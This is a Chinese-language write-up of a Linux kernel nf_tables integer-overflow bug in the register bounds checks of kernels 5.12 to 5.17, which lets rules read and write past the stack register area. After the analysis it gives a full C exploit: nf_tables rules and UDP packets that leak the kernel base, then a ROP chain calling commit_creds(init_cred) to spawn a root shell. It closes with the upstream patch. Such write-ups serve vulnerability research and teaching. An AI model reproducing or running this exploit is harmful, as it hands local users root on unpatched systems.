前言
影响版本:v5.12.0~v5.17.0
测试版本:v5.17.0
编译选项:
CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_BINFMT_MISC=y
CONFIG_USER_NS=y
CONFIG_E1000=y
CONFIG_E1000E=y
漏洞分析
nf_tables
子模块中,会对用户传入的寄存器编号进行合法性检查,防止越界访问。而在相关检查函数 nft_parse_register_load
、nft_parse_register_store
中存在整数溢出,从而导致寄存器边界检查错误,而寄存器组是内核栈上的一片连续内存,所以对寄存器的越界访问则是导致了栈溢出
这里先来说说 nf_tables
中的寄存器,我们可以把 nf_tables
看作一个寄存器"虚拟机",其 rule
就代表一个功能,expression
就是构建 rule
功能的指令,而这些指令的数据就保存在寄存器中,其对应的结构体为 struct nft_regs
:
#define NFT_REG32_NUM 20
struct nft_regs {
union {
u32 data[NFT_REG32_NUM];
struct nft_verdict verdict;
};
};
这里 data
的大小为 20 * 4 = 80
就是前面说的一片连续的内存,第一个寄存器为 verdict
寄存器,其用于对指令后续的判决,其大小为 16
字节,后面剩下的 80 - 16 = 64
字节就是数据寄存器 data regs
,在老版本中数据寄存器的大小为 16
字节,一共 4
个,16 * 4 = 64
;而在新版本中数据寄存器的大小为 4
字节,一共 16
个,4 * 16 = 64
。而为了兼容性,目前是保留了这两种寄存器类型:
enum nft_registers {
NFT_REG_VERDICT,
NFT_REG_1,
NFT_REG_2,
NFT_REG_3,
NFT_REG_4,
__NFT_REG_MAX,
NFT_REG32_00 = 8,
NFT_REG32_01,
NFT_REG32_02,
NFT_REG32_03,
NFT_REG32_04,
NFT_REG32_05,
NFT_REG32_06,
NFT_REG32_07,
NFT_REG32_08,
NFT_REG32_09,
NFT_REG32_10,
NFT_REG32_11,
NFT_REG32_12,
NFT_REG32_13,
NFT_REG32_14,
NFT_REG32_15,
};
这里的 NFT_REG_VERDICT
表示的就是 verdict reg
,NFT_REG_1~4
就是 16
字节的数据寄存器,NFT_REG32_00~15
就是 4
字节的数据寄存器
了解了这些,就来看下 nft_parse_register_load
函数,该函数会将用户传入的寄存器编号转化为对应的寄存器偏移,并检查合法性。nft_parse_register_store
跟它差不多,只是后者可以访问 verdict
寄存器:
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
u32 reg;
int err;
reg = nft_parse_register(attr); // 提取传入的寄存器号,并转换为 Netfilers 寄存器组中的下标
err = nft_validate_register_load(reg, len); // 对寄存器编号进行合法性检查
if (err < 0)
return err;
*sreg = reg; // 将寄存器下标保存在 sreg 中
return 0;
}
nft_parse_register
函数主要就是解析用户传入的寄存器号,将其转化为对应的偏移:
static unsigned int nft_parse_register(const struct nlattr *attr)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr)); // 获取传入的寄存器号,并从网络字节序转换为主机字节序
switch (reg) {
// NFT_REG_SIZE = 16,NFT_REG32_SIZE = 4,NFT_REG32_00 = 8
case NFT_REG_VERDICT...NFT_REG_4: // 16 字节寄存器
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
default: // 4 字节寄存器
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
}
可以看到如果传入的是 16
字节寄存器编号,则偏移为 reg * 4
;其它的值都认为是 4
字节寄存器编号,偏移为 reg - 4
其实这里就有点问题,
4
字节寄存器编号为啥不单独处理呢?
nft_validate_register_load
则是对寄存器进行合法性检查,防止越界访问:
static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
// reg < 4 ==> error
if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL; // 【1】
// len == 0 ==> error
if (len == 0) return -EINVAL;
// reg * 4 + len > 80 ==> error
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) return -ERANGE; // 【2】
return 0;
}
该函数会检查寄存器访问是否存在越界,因为寄存器组总共就 80
字节,所以这里主要就是检查 reg * 4 + len > 80
,然后 nft_parse_register_load
函数而言,其不允许寄存器为 verdict reg
,所以在 【1】
对其进行了检查
但是这里存在一个问题,上层传入的 reg
类型为 u32
,然后 reg
是枚举类型,其通常会被编译为 int
类型,len
表示数据包的长度,所以这里 reg * 4 + len
可能存在整数溢出,例如 reg = 0xffffffff,len = 0x10
,则 reg * 4 + len = 0x40000000c = 0xc > 80 is false
,所以这里成功通过检查,但是此时 reg = 0xffffffff
显然是一个不正确的寄存器下标,而在 nft_parse_register_load
函数中可以看到 sreg
为一个 u8 *
指针,所以最后保存的其实只是低字节,即 sreg = 0xff
:
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
......
*sreg = reg; // 将寄存器下标保存在 sreg 中
return 0;
}
当然这里 enum nft_registers
的值是在一个字节以内的,所以编译器可能会直接将其优化为一个字节,所以这里还是得结合汇编代码查看:
0xffffffff81c2e8d0 <nft_parse_register_load>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81c2e8d5 <nft_parse_register_load+5>: push rbp
0xffffffff81c2e8d6 <nft_parse_register_load+6>: mov eax,DWORD PTR [rdi+0x4]
0xffffffff81c2e8d9 <nft_parse_register_load+9>: bswap eax
0xffffffff81c2e8db <nft_parse_register_load+11>: mov edi,eax
0xffffffff81c2e8dd <nft_parse_register_load+13>: lea ecx,[rax-0x4]
0xffffffff81c2e8e0 <nft_parse_register_load+16>: shl edi,0x4
0xffffffff81c2e8e3 <nft_parse_register_load+19>: mov rbp,rsp
0xffffffff81c2e8e6 <nft_parse_register_load+22>: shr edi,0x2
0xffffffff81c2e8e9 <nft_parse_register_load+25>: cmp eax,0x4
0xffffffff81c2e8ec <nft_parse_register_load+28>: mov eax,edi ; <==== eax
0xffffffff81c2e8ee <nft_parse_register_load+30>: cmova eax,ecx ; <==== eax
0xffffffff81c2e8f1 <nft_parse_register_load+33>: test edx,edx
0xffffffff81c2e8f3 <nft_parse_register_load+35>: je 0xffffffff81c2e911
0xffffffff81c2e8f5 <nft_parse_register_load+37>: cmp eax,0x3
0xffffffff81c2e8f8 <nft_parse_register_load+40>: jbe 0xffffffff81c2e911
0xffffffff81c2e8fa <nft_parse_register_load+42>: lea edx,[rdx+rax*4] ; <===== reg*4 + len
0xffffffff81c2e8fd <nft_parse_register_load+45>: cmp edx,0x50 ; <====== 检查 reg*4 + len > 80 ?
0xffffffff81c2e900 <nft_parse_register_load+48>: ja 0xffffffff81c2e921
0xffffffff81c2e902 <nft_parse_register_load+50>: mov BYTE PTR [rsi],al
0xffffffff81c2e904 <nft_parse_register_load+52>: pop rbp
0xffffffff81c2e905 <nft_parse_register_load+53>: xor eax,eax
0xffffffff81c2e907 <nft_parse_register_load+55>: xor edx,edx
0xffffffff81c2e909 <nft_parse_register_load+57>: xor ecx,ecx
0xffffffff81c2e90b <nft_parse_register_load+59>: xor esi,esi
0xffffffff81c2e90d <nft_parse_register_load+61>: xor edi,edi
0xffffffff81c2e90f <nft_parse_register_load+63>: ret
从汇编代码可以看出这里就是 u32
类型的 reg
,所以这里确实是存在溢出问题的
这里还得简单说下 rule
的 expression
是如何被执行的,其就是被 nft_do_chain
函数执行的,该函数定义如下:
unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv)
{
const struct nft_chain *chain = priv, *basechain = chain;
const struct nft_rule_dp *rule, *last_rule;
const struct net *net = nft_net(pkt);
const struct nft_expr *expr, *last;
struct nft_regs regs; // <================= 栈上数据,并且没有初始化
unsigned int stackptr = 0;
struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
bool genbit = READ_ONCE(net->nft.gencursor);
struct nft_rule_blob *blob;
struct nft_traceinfo info;
info.trace = false;
if (static_branch_unlikely(&nft_trace_enabled))
nft_trace_init(&info, pkt, ®s.verdict, basechain);
do_chain:
if (genbit)
blob = rcu_dereference(chain->blob_gen_1);
else
blob = rcu_dereference(chain->blob_gen_0);
rule = (struct nft_rule_dp *)blob->data;
last_rule = (void *)blob->data + blob->size;
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) { // 遍历 chain 中的所有 rule
nft_rule_dp_for_each_expr(expr, last, rule) { // 遍历 rule 中的所有 expr
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops || !nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt); // 调用 expr->ops->eval() 执行 rule
if (regs.verdict.code != NFT_CONTINUE) // 检查 verdict
break;
}
// 如果 verdict == NFT_BREAK, 则停止执行该 rule,跳转到下一个 rule
switch (regs.verdict.code) {
case NFT_BREAK:
regs.verdict.code = NFT_CONTINUE;
continue;
case NFT_CONTINUE:
nft_trace_packet(&info, chain, rule, NFT_TRACETYPE_RULE);
continue;
}
break; // 否则,停止执行所有 rule, 更细致的检查 verdict
}
nft_trace_verdict(&info, chain, rule, ®s);
// chain 处理完成后,检查 verdict
switch (regs.verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
case NF_STOLEN:
return regs.verdict.code;
}
switch (regs.verdict.code) {
// NFT_JUMP 表示跳转到另一个 chain, 将返回地址压栈(类似call指令)
// 如果将要执行的 chain 没有设置明确的 verdict, 则恢复之前中断的执行
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rule = nft_rule_next(rule);
jumpstack[stackptr].last_rule = last_rule;
stackptr++;
fallthrough;
// NFT_GOTO 表示跳转到另一个chain (不压返回地址,类似于 goto)
case NFT_GOTO:
chain = regs.verdict.chain;
goto do_chain;
case NFT_CONTINUE:
case NFT_RETURN:
break;
default:
WARN_ON_ONCE(1);
}
// 返回到调用栈之前的 chain
if (stackptr > 0) {
stackptr--;
chain = jumpstack[stackptr].chain;
rule = jumpstack[stackptr].rule;
last_rule = jumpstack[stackptr].last_rule;
goto next_rule;
}
nft_trace_packet(&info, basechain, NULL, NFT_TRACETYPE_POLICY);
if (static_branch_unlikely(&nft_counters_enabled)) nft_update_chain_stats(basechain, pkt);
// 如果没有到达明确的 verdict, 返回 chain 的 policy (默认为 accept 或 drop)
return nft_base_chain(basechain)->policy;
}
可以看到这里的寄存器其实就是栈上数据,并且没有初始化,这里没有初始化,所以其存在未初始化漏洞(CVE-2022-1016
),我们可以直接读取寄存器中的值去泄漏相关数据
漏洞利用
这里主要的想法就是去 bypass kaslr
,然后利用栈溢出劫持程序执行流,这里笔者 bypass kaslr
利用的是 CVE-2022-1016
漏洞,其主要就是一个未初始化漏洞,这里还是说下 OOB R/W
原语的构造
这里主要利用到 nft_payload
、nft_payload_set
、nft_bitwise
表达式,然后配合 UDP
协议,hook
点为 OUT
点
UDP
的原因是其不需要建立连接,是一次性的,非常方便;如果使用TCP
的话,则每次都需要建立连接,而且还有一下其它的验证条件;hook
点的话随意吧,主要是看栈布局能不能够满足利用,因为通过后面的分析你可以知道,这里的越界读写是存在限制的
OOB Read
越界读主要使用 nft_bitwise
表达式:
笔者实际写利用是利用的
CVE-2022-1016
,这里是后面看其它大佬的复现报告补的
struct nft_bitwise {
u8 sreg;
u8 dreg;
enum nft_bitwise_ops op:8;
u8 len;
struct nft_data mask;
struct nft_data xor;
struct nft_data data;
};
这里 sreg
和 dreg
共用 len
,所以 len
不能越界,得不超过 64
。然后我们可以使用 NFT_BITWISE_LSHIFT
或 NFT_BITWISE_RSHIFT
操作,并让 data = 0
,那么如果此时 sreg
如何越界,则可以将栈上的数据保存在 dreg
中,则可能泄漏相关地址
那么这里我们来计算一下该操作可以溢出的范围,我们知道我们必须得绕过 reg * 4 + len > 80
这个检查
注意:这里的
reg
是用户传入的值减了4
的
-
如果我们想要在经可能低的位置泄漏数据,则必须让
reg
的低字节足够小,也就是是len
得足够大。前面说了len
最大为64
,所以reg
低字节最小为0xf0
,所以其可以读取的范围为[0xf0*4, 0xfb*4+64]
即[0x3c0, 0x42c]
>>> for i in range(0xffffffff+1)[::-1]: ... x = (i-4) * 4 + 64 ... if x & 0xffffffff <= 80: ... print(hex(i-4)) ... 0xfffffffb 0xfffffffa 0xfffffff9 0xfffffff8 0xfffffff7 0xfffffff6 0xfffffff5 0xfffffff4 0xfffffff3 0xfffffff2 0xfffffff1 0xfffffff0
-
这里似乎还可以通过调整
len
去改变reg
的范围,但是通过第一步可以看出,其最大的reg
已经为0xfb
了,所以后面改变len
不能够再获得更大的读取范围了
所以我们需要在 n[0x3c0, 0x42c]
这个范围内去找到相关内核地址进行泄漏,主要思路如下:
- 利用
nft_bitwise
越界读取内核地址到dreg
中 - 利用
nft_payload_set
将dreg
中的内核地址设置到UDP
数据报数据部分
OOB Write
越界写主要使用 nft_payload
表达式:
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 dreg;
};
可以看到这里 len
的最大长度为 0xff
,所以这里 dreg
的越界范围为:
>>> for i in range(0xffffffff+1)[::-1]:
... x = (i-4) * 4 + 0xff
... if x & 0xffffffff <= 80:
... print(hex(i-4))
...
0xffffffd4
0xffffffd3
0xffffffd2
0xffffffd1
0xffffffd0
0xffffffcf
0xffffffce
0xffffffcd
0xffffffcc
0xffffffcb
0xffffffca
0xffffffc9
0xffffffc8
0xffffffc7
0xffffffc6
0xffffffc5
0xffffffc4
0xffffffc3
0xffffffc2
0xffffffc1
即 [0x304, 0x350]
之间,所以得在里面找到某个函数的返回地址进行覆盖,这里还得注意如果存在 kcanary
的话,还不能覆盖 kcanary
所以这里的利用跟内存布局的关系非常大,不同版本的内核、不同的编译选项、不同的 gcc
版本都会导致相关栈内存布局发生变化。如果 UDP+OUT
无法满足利用栈布局,则考虑换成其它 HOOK
点或使用 TCP
协议。当然笔者比较幸运,在笔者编译的 v5.17
内核中,在该范围内刚好存在相关返回地址
exploit
这里比较难搞的时,在最开始为了操作 nf_tables
,我们创建了新的命名空间,所以最后我们得进行命名空间的切换,但是笔者没有找到类似于 mov rdi, rax ; ret
效果的 gadget
,所以笔者就没有进行命名空间的切换(:但是问题不大???
最后 exploit
如下:有一定的概率失败,主要就是泄漏 kbase
的时候可能栈内存布局上没有残留的内核地址导致的
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>
#include "netlink.h"
#define RULE_LEAK_ADDRESS 0
#define RULE_ROP_CHAIN 1
struct udp_data {
char* data;
size_t size;
uint16_t port;
char* addr;
size_t addr_size;
};
struct listener_data {
uint16_t port;
char address[8];
};
uint32_t leak_expr_dreg = NFT_REG32_00;
static struct nftnl_rule *setup_rule_for_leak(uint8_t family, const char *table, const char *chain, uint16_t port) {
puts("[+] Try to bypass kaslr");
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL) fail_exit("nftnl_rule_alloc()");
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
// 检查 udp 端口
// port at offset = 2 | len = 2
puts("[+] add_cmp to check port");
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 2, 2, NFT_REG32_01);
uint16_t port_net = htons(port);
add_cmp(r, NFT_CMP_EQ, NFT_REG32_01, &port_net, sizeof(port_net));
// leak kernel address
// puts("[+] add_bitwise to oob read");
// uint32_t expr_len = 0x20;
// uint32_t expr_sreg = NFT_REG32_01;
// uint32_t expr_dreg = NFT_REG32_05;
// uint32_t shift_data = 0;
// add_bitwise(r, NFT_BITWISE_LSHIFT, expr_len, expr_sreg, expr_dreg, shift_data);
puts("[+] add_payload_set to get leak data");
add_payload_set(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0x40, leak_expr_dreg);
set_verdict(r, NFT_CONTINUE);
return r;
}
static struct nftnl_rule *setup_rule_for_rop(uint8_t family, const char *table, const char *chain, uint16_t port) {
puts("[+] Try to write rop chain");
struct nftnl_rule *r = NULL;
r = nftnl_rule_alloc();
if (r == NULL) fail_exit("nftnl_rule_alloc()");
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
puts("[+] add_payload to write rop chain");
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 8, 0xf0, 0xffffffcc);
set_verdict(r, NFT_CONTINUE);
return r;
}
void add_rule(char *table_name, char *chain_name, char rule_type, uint16_t port) {
struct mnl_socket *nl;
struct nftnl_rule *r;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
uint8_t family;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret;
family = NFPROTO_IPV4;
if (rule_type == RULE_LEAK_ADDRESS)
r = setup_rule_for_leak(family, table_name, chain_name, port);
else if (rule_type == RULE_ROP_CHAIN)
r = setup_rule_for_rop(family, table_name, chain_name, port);
else fail_exit("No such rule type");
if (r == NULL) fail_exit("setup_rule");
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) fail_exit("mnl_socket_open()");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
fail_exit("mnl_socket_bind()");
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
seq++);
nftnl_rule_nlmsg_build_payload(nlh, r);
nftnl_rule_free(r);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) fail_exit("mnl_socket_sendto()");
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1) fail_exit("mnl_socket_recvfrom()");
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0) fail_exit("mnl_cb_run()");
mnl_socket_close(nl);
}
int e = 1;
int g = 1;
void* send_udp_packet(void *arg) {
struct udp_data *leak_udp = (struct udp_data*)arg;
int fd;
struct sockaddr_in addr;
while (g) {}
fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (fd < 0) fail_exit("socket()");
addr.sin_family = AF_INET;
addr.sin_port = htons(leak_udp->port);
addr.sin_addr.s_addr = inet_addr(leak_udp->addr);
if (sendto(fd, leak_udp->data, leak_udp->size, 0, &addr, sizeof(addr)) < 0)
fail_exit("sendto()");
while (e) {}
close(fd);
pthread_exit(NULL);
}
void* recv_address(void* arg) {
struct listener_data *ldata = (struct listener_data*)arg;
int fd, res;
char buf[1024] = { 0 };
struct sockaddr_in addr;
fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (fd < 0) fail_exit("socket()");
int reuse_address = 1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &reuse_address, sizeof(reuse_address));
if (!inet_aton("127.0.0.1", &addr.sin_addr.s_addr)) fail_exit("inet_aton()");
addr.sin_family = AF_INET;
addr.sin_port = htons(ldata->port);
res = bind(fd, &addr, sizeof(addr));
if (res < 0) fail_exit("bind()");
printf("[+] Listening on port %d\n", ldata->port);
g = 0;
int addr_len = sizeof(struct sockaddr_in);
res = recvfrom(fd, buf, 1024-1, MSG_WAITALL, (struct sockaddr*)&addr, &addr_len);
if (res == -1) fail_exit("recvform()");
buf[res] = '\x00';
printf("[+] recvform data len: %d\n", res);
binary_dump("Leak Data", buf, res);
uint64_t dic[2] = { 0xffffffff81b634ae, 0xffffffff81b5fd39 };
uint64_t *ptr = (uint64_t*)buf;
for (int i = 0; i < res / 8; i++) {
for (int j = 0; j < 2; j++) {
if ((ptr[i]&0xfff) == (dic[j]&0xfff) && ((ptr[i]>>32)&0xffffffff) == 0xffffffff
&& ptr[i] > 0xffffffff81000000) {
ptr[i] = ptr[i] - dic[j];
memcpy(&ldata->address, &ptr[i], 8);
goto OVER;
}
}
}
OVER:
e = 0;
pthread_exit(NULL);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int main() {
unshare_setup();
save_status();
system("ip link set dev lo up");
system("ip addr");
puts("");
uint64_t kbase = 0xffffffff81000000;
uint64_t koffset = 0;
uint16_t port = 40004;
pthread_t send_thr, recv_thr;
puts("[+] Step I: Bypass kaslr");
char *table_name = "leak_table";
char *chain_name = "leak_chain";
setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);
add_rule(table_name, chain_name, RULE_LEAK_ADDRESS, port);
struct udp_data leak_udp = { 0 };
char *data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char *addr = "127.0.0.1";
leak_udp.data = data;
leak_udp.size = 0x40;
leak_udp.port = port;
leak_udp.addr = addr;
leak_udp.addr_size = sizeof(leak_udp.addr);
pthread_create(&send_thr, NULL, send_udp_packet, (void*)&leak_udp);
struct listener_data recv_data;
memset(&recv_data, 0, sizeof(recv_data));
recv_data.port = port;
pthread_create(&recv_thr, NULL, recv_address, (void*)&recv_data);
pthread_join(send_thr, NULL);
pthread_join(recv_thr, NULL);
dele_table(table_name);
koffset = *(uint64_t*)recv_data.address;
kbase += koffset;
printf("[+] koffset: %#llx\n", koffset);
printf("[+] kbase: %#llx\n", kbase);
puts("");
puts("[+] Step II: Rop chain");
port += 10000;
table_name = "rop_table";
chain_name = "rop_chain";
setup_table_and_chain(table_name, chain_name, NF_INET_LOCAL_OUT);
add_rule(table_name, chain_name, RULE_ROP_CHAIN, port);
uint64_t pop_rdi = koffset+0xffffffff810ade60;
uint64_t pop_rsi = koffset+0xffffffff811a99a9;
uint64_t commit_creds = koffset+0xffffffff810fb090;
uint64_t init_cred = koffset+0xffffffff82a8b040;
uint64_t find_task_by_vpid = koffset+0xffffffff810f1070;
uint64_t switch_task_namespaces = koffset+0xffffffff810f92a0;
uint64_t init_nsproxy = koffset+0xffffffff82a8ae00;
uint64_t kpti_trampoline = koffset+0xffffffff82000ff0+0x1b;
uint64_t push_rax = koffset+0xffffffff810494b8;
uint64_t magic = koffset+0xffffffff81a1c02c; // push rax ; pop rdi ; jle 0xffffffff81a1c030 ; pop rbp ; xor esi, esi ; xor edi, edi ; ret
struct udp_data rop_udp = { 0 };
uint64_t rop[0x100/8] = {
pop_rdi,
init_cred,
commit_creds,
// pop_rdi,
// getpid(),
// find_task_by_vpid,
// magic,
// 0,
// pop_rsi,
// init_nsproxy,
// switch_task_namespaces,
kpti_trampoline,
0,0,
get_root_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};
char payload[0x200] = { 0 };
memcpy(payload+0x14, rop, sizeof(rop));
rop_udp.data = payload;
rop_udp.size = 0x100;
rop_udp.port = port;
rop_udp.addr = addr;
rop_udp.addr_size = sizeof(rop_udp.addr);
e = g = 0;
pthread_create(&send_thr, NULL, send_udp_packet, (void*)&rop_udp);
pthread_join(send_thr, NULL);
puts("[+] EXP NERVER END");
getchar();
return 0;
}
效果如下:
修复
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index d71a33ae39b354..1f5a0eece0d14b 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -9275,17 +9275,23 @@ int nft_parse_u32_check(const struct nlattr *attr, int max, u32 *dest)
}
EXPORT_SYMBOL_GPL(nft_parse_u32_check);
-static unsigned int nft_parse_register(const struct nlattr *attr)
+static unsigned int nft_parse_register(const struct nlattr *attr, u32 *preg)
{
unsigned int reg;
reg = ntohl(nla_get_be32(attr));
switch (reg) {
case NFT_REG_VERDICT...NFT_REG_4:
- return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ *preg = reg * NFT_REG_SIZE / NFT_REG32_SIZE;
+ break;
+ case NFT_REG32_00...NFT_REG32_15:
+ *preg = reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ break;
default:
- return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
+ return -ERANGE;
}
+
+ return 0;
}
/**
@@ -9327,7 +9333,10 @@ int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
u32 reg;
int err;
- reg = nft_parse_register(attr);
+ err = nft_parse_register(attr, ®);
+ if (err < 0)
+ return err;
+
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
@@ -9382,7 +9391,10 @@ int nft_parse_register_store(const struct nft_ctx *ctx,
int err;
u32 reg;
- reg = nft_parse_register(attr);
+ err = nft_parse_register(attr, ®);
+ if (err < 0)
+ return err;
+
err = nft_validate_register_store(ctx, reg, data, type, len);
if (err < 0)
return err;
最后的修复比较简单,就是对 4
字节的寄存器进行单独的处理,所以后面的 reg
被限制在有效范围内,而其为 u32
类型的计算,所以不会导致溢出,但是如果是 u8
类型的计算则会导致溢出,所以我认为还是应该把 nft_validate_register_load
函数和 nft_validate_register_store
函数的第一个参数修改为 u32